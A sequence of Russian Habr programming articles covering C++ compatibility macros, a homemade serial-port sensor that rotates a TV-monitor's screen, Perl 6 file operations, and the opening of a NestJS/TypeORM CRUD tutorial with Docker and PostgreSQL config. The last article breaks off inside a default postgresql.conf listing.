Данный макрос используется исключительно для явного определения бесконечного цикла и включен в библиотеку только из соображений «добавить синтаксического сахара». В дальнейшем предполагаю его заменить на опционально через define подключаемый макрос **FOREVER**. Что же примечательно в вышеприведенном отрывке кода из библиотеки, так это тот самый макрос **WARNING**, который генерирует сообщение-предупреждение во всех компиляторах если макрос **forever** уже был определен пользователем. Он использует уже знакомый стандартный макрос **\_\_LINE\_\_** и так же стандартный **\_\_FILE\_\_**, который преобразуется в строку с именем текущего исходного файла.
### stdex\_assert
Для реализации **assert** в рантайме введен макрос **stdex\_assert** как:
```
#if defined(assert)
#ifndef NDEBUG
#include
#define stdex\_assert(condition, message) \
do { \
if (! (condition)) { \
std::cerr << "Assertion `" #condition "` failed in " << \_\_FILE\_\_ \
<< " line " << \_\_LINE\_\_ << ": " << message << std::endl; \
std::terminate(); \
} \
} while (false)
#else
#define stdex\_assert(condition, message) ((void)0)
#endif
#endif
```
Не скажу что я очень горжусь данной реализацией (будет изменена в будущем), но здесь использован интересный прием на который хочется обратить внимание. Для того чтобы скрыть проверки из области видимости кода приложения используется конструкция **do** *{}* **while(false)**, которая выполнится, что очевидно, один раз и при этом не внесет «служебного» кода в общий код приложения. Данный прием довольно полезен и применяется еще в нескольких местах библиотеки.
В остальном же реализация очень похожа на стандартный **assert** — при определенном макросе **NDEBUG**, который обычно выставляют компиляторы в релизных сборках, assert ничего не делает, в противном случае прерывает выполнение программы с выводом сообщения в стандартный поток ошибок при несоблюдении условия assert'а.
### noexcept
Для функций, которые не бросают исключений, в новом стандарте было введено ключевое слово **noexcept**. Его тоже довольно просто и безболезненно можно реализовать через макрос:
```
#ifdef _STDEX_NATIVE_CPP11_SUPPORT
#define stdex_noexcept noexcept
#else
#define stdex_noexcept throw()
#endif
```
однако необходимо понимать что по стандарту **noexcept** может принимать значение **bool**, а так же [использоваться](https://en.cppreference.com/w/cpp/language/noexcept) для определения во время компиляции что переданное ему выражение не бросает исключений. Данный функционал не может быть реализован без поддержки компилятора, и потому в библиотеке есть только «урезанный» **stdex\_noexcept**.
Конец второй главы. В [третьей главе](https://habr.com/post/417295/) будет рассказано о тонкостях реализации nullptr, о том почему он разный для разных компиляторов, а так же как продвигалась разработка type\_traits и на какие еще баги в компиляторах я наткнулся при ее разработке.
Благодарю за внимание.* | https://habr.com/ru/post/417099/ | null | ru | null |
# Автоматический поворот изображения на мониторе
Исторически сложилось так, что у меня нет монитора. Вместо него я использую телевизор. Тридцати двух дюймовый телевизор. И нет, я еще не окосоглазил. Вполне комфортно за ним работается, заменяет мне сразу 2 монитора. Но есть у него одна неприятная особенность. Когда я открываю свой любимый редактор, код представляет собой узкий столбец с левой стороны экрана. Почти две трети экрана остаются пустыми и ничем не задействованными.
Я долго с этим мирился, пока не вспомнил про вертикальные мониторы. А почему нет? Чем я хуже? Вот тогда я и решил немного переоборудовать свое рабочее место. Можно было бы сделать крепеж и навсегда перевести монитор в вертикальное положение, но меня это не устраивало по той причине, что на моем «мониторе» я часто смотрю фильмы. А вертикальные фильмы, слава богу, пока еще не снимают. В этот момент появилась идея приобрести поворотный кронштейн и повесить телевизор на стену, чтобы при необходимости его вертеть. Именно так я и поступил.
Так лучше, не правда ли?
Жить стало намного удобнее. Надо поработать? Встал со стула, повернул монитор, сел обратно, ввел в терминале команду
`xrandr -o left` и работай себе с комфортом. Хочешь посмотреть фильмец? Сделай тоже самое, только введи уже `xrandr -o normal` и расслабляйся.
Все это меня полностью устраивало, пока мне просто не надоело. Надоело вводить эти команды. Вставать и переворачивать эту махину, мне, правда, тоже надоело, но не моторчик же приделывать к ней, верно? А вот ввод команд я мог автоматизировать без особых затрат. Но как объяснить компьютеру, что монитор был перевернут? Можно было бы заморочиться как, например, вот этот [парень](http://habrahabr.ru/qa/15092/), но это никому не нужные сложности. В качестве интрфейса взаимодействия я сразу решил использовать последовательный порт (если нет встроенного, можно прикупить адаптер usb-to-serial). Но как быть с датчиком? А тут дело обстоит еще проще. Я отыскал никому не нужный тюбик от губной помады, вытащил металлический шарик из подшипника и соорудил это:
Тюбик, с одной стороны которого размещены 2 контакта, подключенные к пинам TxD и RxD последовательного порта.
Внутри тюбика катается металический шарик. Если он скатывается к контактам, то замыкает их, тем самым соединяя пины передачи и приема последовательного порта. Тюбик вешается позади «монитора» под углом в 45 градусов таким образом, что при горизонтальном положении шарик находится в бесконтактном конце тюбика, а при переводе монитора в вертикальный режим, шарик скатывается и замыкает собой контакты.
Осталось написать программную часть. Принцип работы очень прост: в серийный порт пишется слово и сразу же читается. Если программа хоть что-нибудь прочитала, то контакты замкнуты, а значит монитор находится в вертикальном положении. В результате чего выполняется команда `xrandr -o left`. При повороте обратно в горизонтальное положение происходит аналогичное действие, но с командой `xrandr -o normal`.
Первый раз я написал скрипт на моем любимом питоне. Это был двухпоточный монстр, который жрал, если верить `top`, 120% CPU. Почему так происходило, для меня до сих пор остается загадкой. В конце концов я решил переписать программу на С, что помогло не загружать так сильно процессор.
Вот, в принципе, и все. Осталось лишь добавить программу в автозагрузку.
Решил поделиться этим небольшим лайфхаком с хабросообществом. Вдруг кому пригодится.
Код можно найти на [гитхабе](https://github.com/PaGrom/flip_screen).
Информацию про грамматические и пунктационные ошибки отправляйте, пожалуйста, в личные сообщения, дабы не засорять комментарии.
**UPD:**
А вот как это выглядит в жизни (прошу прощения за качество):
 | https://habr.com/ru/post/137650/ | null | ru | null |
# Операции с файлами в Perl 6
#### Директории
Вместо opendir и его друзей, в Perl 6 есть одна функция dir, которая возвращает список файлов из директории (по умолчанию, из текущей). Вместо тысячи слов:
```
# в директории Rakudo
> dir
build parrot_install Makefile VERSION parrot docs Configure.pl README dynext t src tools CREDITS LICENSE Test.pm
> dir 't'
00-parrot 02-embed spec harness 01-sanity pmc spectest.data
```
У dir есть необязательный параметр test, для использования grep по результатам работы:
```
> dir 'src/core', test => any(/^C/, /^P/)
Parcel.pm Cool.pm Parameter.pm Code.pm Complex.pm CallFrame.pm Positional.pm Capture.pm Pair.pm Cool-num.pm Callable.pm Cool-str.pm
```
Создаются директории через mkdir('foo')
#### Файлы
Простейший способ прочесть файл в Perl 6 – slurp. Она возвращает содержимое файла в виде String
```
> slurp 'VERSION'
2010.11
```
Есть доступ и к классическим методам:
```
> my $fh = open 'CREDITS'
IO()<0x1105a068>
> $fh.getc # читает символ
=
> $fh.get # читает строчку
pod
> $fh.close; $fh = open 'new', :w # открывает на запись
IO()<0x10f3e704>
> $fh.print('foo Bool::True
> $fh.say('bar Bool::True
> $fh.close; say slurp('new')
foobar
```
#### Проверки файлов
Проверки файлов на существование и типы проходят через умное сопоставление ~~
```
> 'LICENSE'.IO ~~ :e # есть ли файл?
Bool::True
> 'LICENSE'.IO ~~ :d # а не директория ли это часом?
Bool::False
> 'LICENSE'.IO ~~ :f # ну значит файл?
Bool::True
```
Легкотня.
#### File::Find
Когда заканчиваются стандартные функции, к делу подключаются модули. File::Find из набора File::Tools проходит по дереву директорий в поисках нужных файлов и создаёт ленивые списки найденных. Он идёт в комплекте с Rakudo Star, и его легко установить через neutro.
Пример:
```
find(:dir, :type, :name(/foo/))
```
выдаст ленивый список файлов, и только файлов, в директории t/dir1 с именем, подходящим под регулярку /foo/. Элементы списка – не простые строчки. Это объекты, которые превращаются в строки с полным путём, но при этом у них есть акцессоры для имени директории, в которой они лежат (dir) и имени файла (name). Подробнее см. в документации.
#### Полезные идиомы
Создаём новый файл
```
open('new', :w).close
```
Безымянный хэндлер файла
```
given open('foo', :w) {
.say('Всем привет!');
.close
}
``` | https://habr.com/ru/post/252509/ | null | ru | null |
# Быстрое создание CRUD с nest, @nestjsx/crud и TestMace
В настоящее время REST API стал стандартом разработки web-приложений, позволяя разбить разработку на независимые части. Для UI на данный момент используются различные популярные фреймворки типа Angular, React, Vue и другие. Разработчики же backend могут выбрать из большого разнообразия языков и фреймворков. Сегодня я бы хотел поговорить о таком фреймворке как [NestJS](https://nestjs.com/). Мы в [TestMace](https://client.testmace.com/) активно используем его для внутренних проектов. Используя nest и пакет [@nestjsx/crud](https://www.npmjs.com/package/@nestjsx/crud), мы создадим простое CRUD приложение.
Почему NestJS
=============
В последнее время в JavaScript сообществе появилось достаточно много backend фреймворков. И если в плане функционала они предоставляют схожие с Nest возможности, то в одном он точно выигрывает — это архитектура. Следующие возможности NestJS позволяют создавать промышленные приложения и масштабировать разработку на большие команды:
* использование TypeScript в качестве основного языка разработки. Хотя NestJS и поддерживает JavaScript, часть функционала может не работать, особенно если речь идет о сторонних пакетах;
* наличие DI контейнера, что позволяет создавать слабосвязанные компоненты;
* функционал самого фреймворка разбит на независимые взаимозаменяемые компоненты. Например, под капотом в качестве фреймворка может использоваться как [express](https://expressjs.com), так и [fastify](https://www.fastify.io/), для работы с БД nest из коробки предоставляет биндинги к [typeorm](https://github.com/typeorm/typeorm), [mongoose](http://mongoosejs.com/), [sequelize](https://github.com/sequelize/sequelize);
* NestJS не зависит от платформы и поддерживает REST, GraphQL, Websockets, gRPC и т.д.
Сам фреймворк вдохновлен frontend фреймворком Angular и концептуально имеет много общего с ним.
Установка NestJS и развертывание проекта
========================================
Nest содержит пакет [nest](https://habr.com/ru/users/nest/)/cli, который позволяет быстро развернуть базовый каркас приложения. Установим глобально данный пакет:
```
npm install --global @nest/cli
```
После установки сгенерируем базовый каркас нашего приложения с именем *nest-res*t. Делается это с использование команды `nest new nest-rest`.
**nest new nest-rest**
```
dmitrii@dmitrii-HP-ZBook-17-G3:~/projects $ nest new nest-rest
We will scaffold your app in a few seconds..
CREATE /nest-rest/.prettierrc (51 bytes)
CREATE /nest-rest/README.md (3370 bytes)
CREATE /nest-rest/nest-cli.json (84 bytes)
CREATE /nest-rest/nodemon-debug.json (163 bytes)
CREATE /nest-rest/nodemon.json (67 bytes)
CREATE /nest-rest/package.json (1805 bytes)
CREATE /nest-rest/tsconfig.build.json (97 bytes)
CREATE /nest-rest/tsconfig.json (325 bytes)
CREATE /nest-rest/tslint.json (426 bytes)
CREATE /nest-rest/src/app.controller.spec.ts (617 bytes)
CREATE /nest-rest/src/app.controller.ts (274 bytes)
CREATE /nest-rest/src/app.module.ts (249 bytes)
CREATE /nest-rest/src/app.service.ts (142 bytes)
CREATE /nest-rest/src/main.ts (208 bytes)
CREATE /nest-rest/test/app.e2e-spec.ts (561 bytes)
CREATE /nest-rest/test/jest-e2e.json (183 bytes)
? Which package manager would you ️ to use? yarn
Installation in progress...
Successfully created project nest-rest
Get started with the following commands:
$ cd nest-rest
$ yarn run start
Thanks for installing Nest
Please consider donating to our open collective
to help us maintain this package.
Donate: https://opencollective.com/nest
```
В качестве пакетного менеджера мы выберем yarn.
На данный момент вы можете запустить сервер командой `npm start` и пройдя по адресу <http://localhost:3000> можете лицезреть главную страницу. Однако мы не для этого здесь собрались и двигаемся дальше.
Настраиваем работу с базой
==========================
В качестве СУБД для данной статьи я выбрал PostrgreSQL. О вкусах не спорят, по моему мнению, это наиболее зрелая СУБД, обладающая всеми необходимыми возможностями. Как уже было сказано, для работы с базами данных Nest предоставляет интеграцию с различными пакетами. Т.к. мой выбор пал на PostgreSQL, то логично будет выбрать TypeORM в качестве ORM. Установим необходимые пакеты для интеграции с базой данных:
`yarn add typeorm @nestjs/typeorm pg`
По порядку, для чего нужен каждый пакет:
1. typeorm — пакет непосредственно с самой ORM;
2. @nestjs/typeorm — TypeORM пакет для NestJS. Добавляет модули для импортирования в модули проекта, а также набор декораторов-хелперов;
3. pg — драйвер для работы с PostgreSQL.
Окей, пакеты установлены, теперь необходимо запустить саму базу. Для развертывания базы я буду использовать docker-compose.yml следующего содержания:
**docker-compose.yml**
```
version: '3.1'
services:
db:
image: postgres:11.2
restart: always
environment:
POSTGRES_PASSWORD: example
volumes:
- ../db:/var/lib/postgresql/data
- ./postgresql.conf:/etc/postgresql/postgresql.conf
ports:
- 5432:5432
adminer:
image: adminer
restart: always
ports:
- 8080:8080
```
Как можно видеть, данный файл конфигурирует запуск 2 контейнеров:
1. db — это контейнер непосредственно с базой данных. В нашем случае используется postgresql версии 11.2;
2. adminer — менеджер работы с базой данных. Предоставляет web-интерфейс для просмотра и управления базой.
Для работы с подключениям по tcp я добавил конфиг следующего содержания.
**postgresql.conf**
```
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
#
# This file consists of lines of the form:
#
# name = value
#
# (The "=" is optional.) Whitespace may be used. Comments are introduced with
# "#" anywhere on a line. The complete list of parameter names and allowed
# values can be found in the PostgreSQL documentation.
#
# The commented-out settings shown in this file represent the default values.
# Re-commenting a setting is NOT sufficient to revert it to the default value;
# you need to reload the server.
#
# This file is read on server startup and when the server receives a SIGHUP
# signal. If you edit the file on a running system, you have to SIGHUP the
# server for the changes to take effect, run "pg_ctl reload", or execute
# "SELECT pg_reload_conf()". Some parameters, which are marked below,
# require a server shutdown and restart to take effect.
#
# Any parameter can also be given as a command-line option to the server, e.g.,
# "postgres -c log_connections=on". Some parameters can be changed at run time
# with the "SET" SQL command.
#
# Memory units: kB = kilobytes Time units: ms = milliseconds
# MB = megabytes s = seconds
# GB = gigabytes min = minutes
# TB = terabytes h = hours
# d = days
#------------------------------------------------------------------------------
# FILE LOCATIONS
#------------------------------------------------------------------------------
# The default values of these variables are driven from the -D command-line
# option or PGDATA environment variable, represented here as ConfigDir.
#data_directory = 'ConfigDir' # use data in another directory
# (change requires restart)
#hba_file = 'ConfigDir/pg_hba.conf' # host-based authentication file
# (change requires restart)
#ident_file = 'ConfigDir/pg_ident.conf' # ident configuration file
# (change requires restart)
# If external_pid_file is not explicitly set, no extra PID file is written.
#external_pid_file = '' # write an extra PID file
# (change requires restart)
#------------------------------------------------------------------------------
# CONNECTIONS AND AUTHENTICATION
#------------------------------------------------------------------------------
# - Connection Settings -
listen_addresses = '*'
#listen_addresses = 'localhost' # what IP address(es) to listen on;
# comma-separated list of addresses;
# defaults to 'localhost'; use '*' for all
# (change requires restart)
#port = 5432 # (change requires restart)
#max_connections = 100 # (change requires restart)
#superuser_reserved_connections = 3 # (change requires restart)
#unix_socket_directories = '/tmp' # comma-separated list of directories
# (change requires restart)
#unix_socket_group = '' # (change requires restart)
#unix_socket_permissions = 0777 # begin with 0 to use octal notation
# (change requires restart)
#bonjour = off # advertise server via Bonjour
# (change requires restart)
#bonjour_name = '' # defaults to the computer name
# (change requires restart)
# - TCP Keepalives -
# see "man 7 tcp" for details
#tcp_keepalives_idle = 0 # TCP_KEEPIDLE, in seconds;
# 0 selects the system default
#tcp_keepalives_interval = 0 # TCP_KEEPINTVL, in seconds;
# 0 selects the system default
#tcp_keepalives_count = 0 # TCP_KEEPCNT;
# 0 selects the system default
# - Authentication -
#authentication_timeout = 1min # 1s-600s
#password_encryption = md5 # md5 or scram-sha-256
#db_user_namespace = off
# GSSAPI using Kerberos
#krb_server_keyfile = ''
#krb_caseins_users = off
# - SSL -
#ssl = off
#ssl_ca_file = ''
#ssl_cert_file = 'server.crt'
#ssl_crl_file = ''
#ssl_key_file = 'server.key'
#ssl_ciphers = 'HIGH:MEDIUM:+3DES:!aNULL' # allowed SSL ciphers
#ssl_prefer_server_ciphers = on
#ssl_ecdh_curve = 'prime256v1'
#ssl_min_protocol_version = 'TLSv1'
#ssl_max_protocol_version = ''
#ssl_dh_params_file = ''
#ssl_passphrase_command = ''
#ssl_passphrase_command_supports_reload = off
#------------------------------------------------------------------------------
# RESOURCE USAGE (except WAL)
#------------------------------------------------------------------------------
# - Memory -
#shared_buffers = 32MB # min 128kB
# (change requires restart)
#huge_pages = try # on, off, or try
# (change requires restart)
#temp_buffers = 8MB # min 800kB
#max_prepared_transactions = 0 # zero disables the feature
# (change requires restart)
# Caution: it is not advisable to set max_prepared_transactions nonzero unless
# you actively intend to use prepared transactions.
#work_mem = 4MB # min 64kB
#maintenance_work_mem = 64MB # min 1MB
#autovacuum_work_mem = -1 # min 1MB, or -1 to use maintenance_work_mem
#max_stack_depth = 2MB # min 100kB
#shared_memory_type = mmap # the default is the first option
# supported by the operating system:
# mmap
# sysv
# windows
# (change requires restart)
#dynamic_shared_memory_type = posix # the default is the first option
# supported by the operating system:
# posix
# sysv
# windows
# mmap
# (change requires restart)
# - Disk -
#temp_file_limit = -1 # limits per-process temp file space
# in kB, or -1 for no limit
# - Kernel Resources -
#max_files_per_process = 1000 # min 25
# (change requires restart)
# - Cost-Based Vacuum Delay -
#vacuum_cost_delay = 0 # 0-100 milliseconds (0 disables)
#vacuum_cost_page_hit = 1 # 0-10000 credits
#vacuum_cost_page_miss = 10 # 0-10000 credits
#vacuum_cost_page_dirty = 20 # 0-10000 credits
#vacuum_cost_limit = 200 # 1-10000 credits
# - Background Writer -
#bgwriter_delay = 200ms # 10-10000ms between rounds
#bgwriter_lru_maxpages = 100 # max buffers written/round, 0 disables
#bgwriter_lru_multiplier = 2.0 # 0-10.0 multiplier on buffers scanned/round
#bgwriter_flush_after = 0 # measured in pages, 0 disables
# - Asynchronous Behavior -
#effective_io_concurrency = 1 # 1-1000; 0 disables prefetching
#max_worker_processes = 8 # (change requires restart)
#max_parallel_maintenance_workers = 2 # taken from max_parallel_workers
#max_parallel_workers_per_gather = 2 # taken from max_parallel_workers
#parallel_leader_participation = on
#max_parallel_workers = 8 # maximum number of max_worker_processes that
# can be used in parallel operations
#old_snapshot_threshold = -1 # 1min-60d; -1 disables; 0 is immediate
# (change requires restart)
#backend_flush_after = 0 # measured in pages, 0 disables
#------------------------------------------------------------------------------
# WRITE-AHEAD LOG
#------------------------------------------------------------------------------
# - Settings -
#wal_level = replica # minimal, replica, or logical
# (change requires restart)
#fsync = on # flush data to disk for crash safety
# (turning this off can cause
# unrecoverable data corruption)
#synchronous_commit = on # synchronization level;
# off, local, remote_write, remote_apply, or on
#wal_sync_method = fsync # the default is the first option
# supported by the operating system:
# open_datasync
# fdatasync (default on Linux)
# fsync
# fsync_writethrough
# open_sync
#full_page_writes = on # recover from partial page writes
#wal_compression = off # enable compression of full-page writes
#wal_log_hints = off # also do full page writes of non-critical updates
# (change requires restart)
#wal_buffers = -1 # min 32kB, -1 sets based on shared_buffers
# (change requires restart)
#wal_writer_delay = 200ms # 1-10000 milliseconds
#wal_writer_flush_after = 1MB # measured in pages, 0 disables
#commit_delay = 0 # range 0-100000, in microseconds
#commit_siblings = 5 # range 1-1000
# - Checkpoints -
#checkpoint_timeout = 5min # range 30s-1d
#max_wal_size = 1GB
#min_wal_size = 80MB
#checkpoint_completion_target = 0.5 # checkpoint target duration, 0.0 - 1.0
#checkpoint_flush_after = 0 # measured in pages, 0 disables
#checkpoint_warning = 30s # 0 disables
# - Archiving -
#archive_mode = off # enables archiving; off, on, or always
# (change requires restart)
#archive_command = '' # command to use to archive a logfile segment
# placeholders: %p = path of file to archive
# %f = file name only
# e.g. 'test ! -f /mnt/server/archivedir/%f && cp %p /mnt/server/archivedir/%f'
#archive_timeout = 0 # force a logfile segment switch after this
# number of seconds; 0 disables
# - Archive Recovery -
# These are only used in recovery mode.
#restore_command = '' # command to use to restore an archived logfile segment
# placeholders: %p = path of file to restore
# %f = file name only
# e.g. 'cp /mnt/server/archivedir/%f %p'
# (change requires restart)
#archive_cleanup_command = '' # command to execute at every restartpoint
#recovery_end_command = '' # command to execute at completion of recovery
# - Recovery Target -
# Set these only when performing a targeted recovery.
#recovery_target = '' # 'immediate' to end recovery as soon as a
# consistent state is reached
# (change requires restart)
#recovery_target_name = '' # the named restore point to which recovery will proceed
# (change requires restart)
#recovery_target_time = '' # the time stamp up to which recovery will proceed
# (change requires restart)
#recovery_target_xid = '' # the transaction ID up to which recovery will proceed
# (change requires restart)
#recovery_target_lsn = '' # the WAL LSN up to which recovery will proceed
# (change requires restart)
#recovery_target_inclusive = on # Specifies whether to stop:
# just after the specified recovery target (on)
# just before the recovery target (off)
# (change requires restart)
#recovery_target_timeline = 'latest' # 'current', 'latest', or timeline ID
# (change requires restart)
#recovery_target_action = 'pause' # 'pause', 'promote', 'shutdown'
# (change requires restart)
#------------------------------------------------------------------------------
# REPLICATION
#------------------------------------------------------------------------------
# - Sending Servers -
# Set these on the master and on any standby that will send replication data.
#max_wal_senders = 10 # max number of walsender processes
# (change requires restart)
#wal_keep_segments = 0 # in logfile segments; 0 disables
#wal_sender_timeout = 60s # in milliseconds; 0 disables
#max_replication_slots = 10 # max number of replication slots
# (change requires restart)
#track_commit_timestamp = off # collect timestamp of transaction commit
# (change requires restart)
# - Master Server -
# These settings are ignored on a standby server.
#synchronous_standby_names = '' # standby servers that provide sync rep
# method to choose sync standbys, number of sync standbys,
# and comma-separated list of application_name
# from standby(s); '*' = all
#vacuum_defer_cleanup_age = 0 # number of xacts by which cleanup is delayed
# - Standby Servers -
# These settings are ignored on a master server.
#primary_conninfo = '' # connection string to sending server
# (change requires restart)
#primary_slot_name = '' # replication slot on sending server
# (change requires restart)
#promote_trigger_file = '' # file name whose presence ends recovery
#hot_standby = on # "off" disallows queries during recovery
# (change requires restart)
#max_standby_archive_delay = 30s # max delay before canceling queries
# when reading WAL from archive;
# -1 allows indefinite delay
#max_standby_streaming_delay = 30s # max delay before canceling queries
# when reading streaming WAL;
# -1 allows indefinite delay
#wal_receiver_status_interval = 10s # send replies at least this often
# 0 disables
#hot_standby_feedback = off # send info from standby to prevent
# query conflicts
#wal_receiver_timeout = 60s # time that receiver waits for
# communication from master
# in milliseconds; 0 disables
#wal_retrieve_retry_interval = 5s # time to wait before retrying to
# retrieve WAL after a failed attempt
#recovery_min_apply_delay = 0 # minimum delay for applying changes during recovery
# - Subscribers -
# These settings are ignored on a publisher.
#max_logical_replication_workers = 4 # taken from max_worker_processes
# (change requires restart)
#max_sync_workers_per_subscription = 2 # taken from max_logical_replication_workers
#------------------------------------------------------------------------------
# QUERY TUNING
#------------------------------------------------------------------------------
# - Planner Method Configuration -
#enable_bitmapscan = on
#enable_hashagg = on
#enable_hashjoin = on
#enable_indexscan = on
#enable_indexonlyscan = on
#enable_material = on
#enable_mergejoin = on
#enable_nestloop = on
#enable_parallel_append = on
#enable_seqscan = on
#enable_sort = on
#enable_tidscan = on
#enable_partitionwise_join = off
#enable_partitionwise_aggregate = off
#enable_parallel_hash = on
#enable_partition_pruning = on
# - Planner Cost Constants -
#seq_page_cost = 1.0 # measured on an arbitrary scale
#random_page_cost = 4.0 # same scale as above
#cpu_tuple_cost = 0.01 # same scale as above
#cpu_index_tuple_cost = 0.005 # same scale as above
#cpu_operator_cost = 0.0025 # same scale as above
#parallel_tuple_cost = 0.1 # same scale as above
#parallel_setup_cost = 1000.0 # same scale as above
#jit_above_cost = 100000 # perform JIT compilation if available
# and query more expensive than this;
# -1 disables
#jit_inline_above_cost = 500000 # inline small functions if query is
# more expensive than this; -1 disables
#jit_optimize_above_cost = 500000 # use expensive JIT optimizations if
# query is more expensive than this;
# -1 disables
#min_parallel_table_scan_size = 8MB
#min_parallel_index_scan_size = 512kB
#effective_cache_size = 4GB
# - Genetic Query Optimizer -
#geqo = on
#geqo_threshold = 12
#geqo_effort = 5 # range 1-10
#geqo_pool_size = 0 # selects default based on effort
#geqo_generations = 0 # selects default based on effort
#geqo_selection_bias = 2.0 # range 1.5-2.0
#geqo_seed = 0.0 # range 0.0-1.0
# - Other Planner Options -
#default_statistics_target = 100 # range 1-10000
#constraint_exclusion = partition # on, off, or partition
#cursor_tuple_fraction = 0.1 # range 0.0-1.0
#from_collapse_limit = 8
#join_collapse_limit = 8 # 1 disables collapsing of explicit
# JOIN clauses
#force_parallel_mode = off
#jit = on # allow JIT compilation
#plan_cache_mode = auto # auto, force_generic_plan or
# force_custom_plan
#------------------------------------------------------------------------------
# REPORTING AND LOGGING
#------------------------------------------------------------------------------
# - Where to Log -
#log_destination = 'stderr' # Valid values are combinations of
# stderr, csvlog, syslog, and eventlog,
# depending on platform. csvlog
# requires logging_collector to be on.
# This is used when logging to stderr:
#logging_collector = off # Enable capturing of stderr and csvlog
# into log files. Required to be on for
# csvlogs.
# (change requires restart)
# These are only used if logging_collector is on:
#log_directory = 'log' # directory where log files are written,
# can be absolute or relative to PGDATA
#log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log' # log file name pattern,
# can include strftime() escapes
#log_file_mode = 0600 # creation mode for log files,
# begin with 0 to use octal notation
#log_truncate_on_rotation = off # If on, an existing log file with the
# same name as the new log file will be
# truncated rather than appended to.
# But such truncation only occurs on
# time-driven rotation, not on restarts
# or size-driven rotation. Default is
# off, meaning append to existing files
# in all cases.
#log_rotation_age = 1d # Automatic rotation of logfiles will
# happen after that time. 0 disables.
#log_rotation_size = 10MB # Automatic rotation of logfiles will
# happen after that much log output.
# 0 disables.
# These are relevant when logging to syslog:
#syslog_facility = 'LOCAL0'
#syslog_ident = 'postgres'
#syslog_sequence_numbers = on
#syslog_split_messages = on
# This is only relevant when logging to eventlog (win32):
# (change requires restart)
#event_source = 'PostgreSQL'
# - When to Log -
#log_min_messages = warning # values in order of decreasing detail:
# debug5
# debug4
# debug3
# debug2
# debug1
# info
# notice
# warning
# error
# log
# fatal
# panic
#log_min_error_statement = error # values in order of decreasing detail:
# debug5
# debug4
# debug3
# debug2
# debug1
# info
# notice
# warning
# error
# log
# fatal
# panic (effectively off)
#log_min_duration_statement = -1 # logs statements and their durations
# according to log_statement_sample_rate. -1 is disabled,
# 0 logs all statement, > 0 logs only statements running at
# least this number of milliseconds.
#log_statement_sample_rate = 1 # Fraction of logged statements over
# log_min_duration_statement. 1.0 logs all statements,
# 0 never logs.
# - What to Log -
#debug_print_parse = off
#debug_print_rewritten = off
#debug_print_plan = off
#debug_pretty_print = on
#log_checkpoints = off
#log_connections = off
#log_disconnections = off
#log_duration = off
#log_error_verbosity = default # terse, default, or verbose messages
#log_hostname = off
#log_line_prefix = '%m [%p] ' # special values:
# %a = application name
# %u = user name
# %d = database name
# %r = remote host and port
# %h = remote host
# %p = process ID
# %t = timestamp without milliseconds
# %m = timestamp with milliseconds
# %n = timestamp with milliseconds (as a Unix epoch)
# %i = command tag
# %e = SQL state
# %c = session ID
# %l = session line number
# %s = session start timestamp
# %v = virtual transaction ID
# %x = transaction ID (0 if none)
# %q = stop here in non-session
# processes
# %% = '%'
# e.g. '<%u%%%d> '
#log_lock_waits = off # log lock waits >= deadlock_timeout
#log_statement = 'none' # none, ddl, mod, all
#log_replication_commands = off
#log_temp_files = -1 # log temporary files equal or larger
# than the specified size in kilobytes;
# -1 disables, 0 logs all temp files
#log_timezone = 'GMT'
#------------------------------------------------------------------------------
# PROCESS TITLE
#------------------------------------------------------------------------------
#cluster_name = '' # added to process titles if nonempty
# (change requires restart)
#update_process_title = on
#------------------------------------------------------------------------------
# STATISTICS
#------------------------------------------------------------------------------
# - Query and Index Statistics Collector -
#track_activities = on
#track_counts = on
#track_io_timing = off
#track_functions = none # none, pl, all
#track_activity_query_size = 1024 # (change requires restart)
#stats_temp_directory = 'pg_stat_tmp'
# - Monitoring -
#log_parser_stats = off
#log_planner_stats = off
#log_executor_stats = off
#log_statement_stats = off
#------------------------------------------------------------------------------
# AUTOVACUUM
#------------------------------------------------------------------------------
#autovacuum = on # Enable autovacuum subprocess? 'on'
# requires track_counts to also be on.
#log_autovacuum_min_duration = -1 # -1 disables, 0 logs all actions and
# their durations, > 0 logs only
# actions running at least this number
# of milliseconds.
#autovacuum_max_workers = 3 # max number of autovacuum subprocesses
# (change requires restart)
#autovacuum_naptime = 1min # time between autovacuum runs
#autovacuum_vacuum_threshold = 50 # min number of row updates before
# vacuum
#autovacuum_analyze_threshold = 50 # min number of row updates before
# analyze
#autovacuum_vacuum_scale_factor = 0.2 # fraction of table size before vacuum
#autovacuum_analyze_scale_factor = 0.1 # fraction of table size before analyze
#autovacuum_freeze_max_age = 200000000 # maximum XID age before forced vacuum
# (change requires restart)
#autovacuum_multixact_freeze_max_age = 400000000 # maximum multixact age
# before forced vacuum
# (change requires restart)
#autovacuum_vacuum_cost_delay = 2ms # default vacuum cost delay for
# autovacuum, in milliseconds;
# -1 means use vacuum_cost_delay
#autovacuum_vacuum_cost_limit = -1 # default vacuum cost limit for
# autovacuum, -1 means use
# vacuum_cost_limit
#------------------------------------------------------------------------------
# CLIENT CONNECTION DEFAULTS
#------------------------------------------------------------------------------
# - Statement Behavior -
#client_min_messages = notice # values in order of decreasing detail:
# debug5
# debug4
# debug3
# debug2
# debug1
# log
# notice
# warning
# error
#search_path = '"$user", public' # schema names
#row_security = on
#default_tablespace = '' # a tablespace name, '' uses the default
#temp_tablespaces = '' # a list of tablespace names, '' uses
# only default tablespace
#check_function_bodies = on
#default_transaction_isolation = 'read committed'
#default_transaction_read_only = off
#default_transaction_deferrable = off
#session_replication_role = 'origin'
#statement_timeout = 0 # in milliseconds, 0 is disabled
#lock_timeout = 0 # in milliseconds, 0 is disabled
#idle_in_transaction_session_timeout = 0 # in milliseconds, 0 is disabled
#vacuum_freeze_min_age = 50000000
#vacuum_freeze_table_age = 150000000
#vacuum_multixact_freeze_min_age = 5000000
#vacuum_multixact_freeze_table_age = 150000000
#vacuum_cleanup_index_scale_factor = 0.1 # fraction of total number of tuples
# before index cleanup, 0 always performs
# index cleanup
#bytea_output = 'hex' # hex, escape
#xmlbinary = 'base64'
#xmloption = 'content'
#gin_fuzzy_search_limit = 0
#gin_pending_list_limit = 4MB
# - Locale and Formatting -
#datestyle = 'iso, mdy'
#intervalstyle = 'postgres'
#timezone = 'GMT'
#timezone_abbreviations = 'Default' # Select the set of available time zone
# abbreviations. Currently, there are
# Default
# Australia (historical usage)
# India
# You can create your own file in
# share/timezonesets/.
#extra_float_digits = 1 # min -15, max 3; any value >0 actually
# selects precise output mode
#client_encoding = sql_ascii # actually, defaults to database
# encoding
# These settings are initialized by initdb, but they can be changed.
#lc_messages = 'C' # locale for system error message
# strings
